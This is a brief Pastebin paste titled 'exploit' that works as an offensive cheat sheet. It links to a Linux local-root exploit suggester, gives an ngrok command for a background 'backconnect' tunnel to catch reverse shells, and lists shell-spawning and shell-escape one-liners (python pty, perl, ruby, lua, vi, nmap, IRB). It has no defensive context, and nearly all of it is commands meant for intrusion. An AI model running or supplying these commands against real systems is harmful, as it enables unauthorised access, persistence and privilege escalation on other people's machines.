yance

exploit

Aug 5th, 2020
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.65 KB | None | 0 0
  1. new Local root
  2. https://github.com/mzet-/linux-exploit-suggester
  3.  
  4.  
  5. --------------------------------------------------------------
  6. Ngrok backconnect: ngrok -log=stdout 80 > ~/ngrok.log &
  7. --------------------------------------------------------------------
  8. Shell Spawning
  9.  
  10. python -c 'import pty; pty.spawn("/bin/sh")'
  11. echo os.system('/bin/bash')
  12. /bin/sh -i
  13. perl —e 'exec "/bin/sh";'
  14. perl: exec "/bin/sh";
  15. ruby: exec "/bin/sh"
  16. lua: os.execute('/bin/sh')
  17. (From within IRB)
  18. exec "/bin/sh"
  19. (From within vi)
  20. :!bash
  21. (From within vi)
  22. :set shell=/bin/bash:shell
  23. (From within nmap)
  24. !sh
  25.  
  26.  
  27. -----------------------------------------------------------------
Add Comment
Please, Sign In to add comment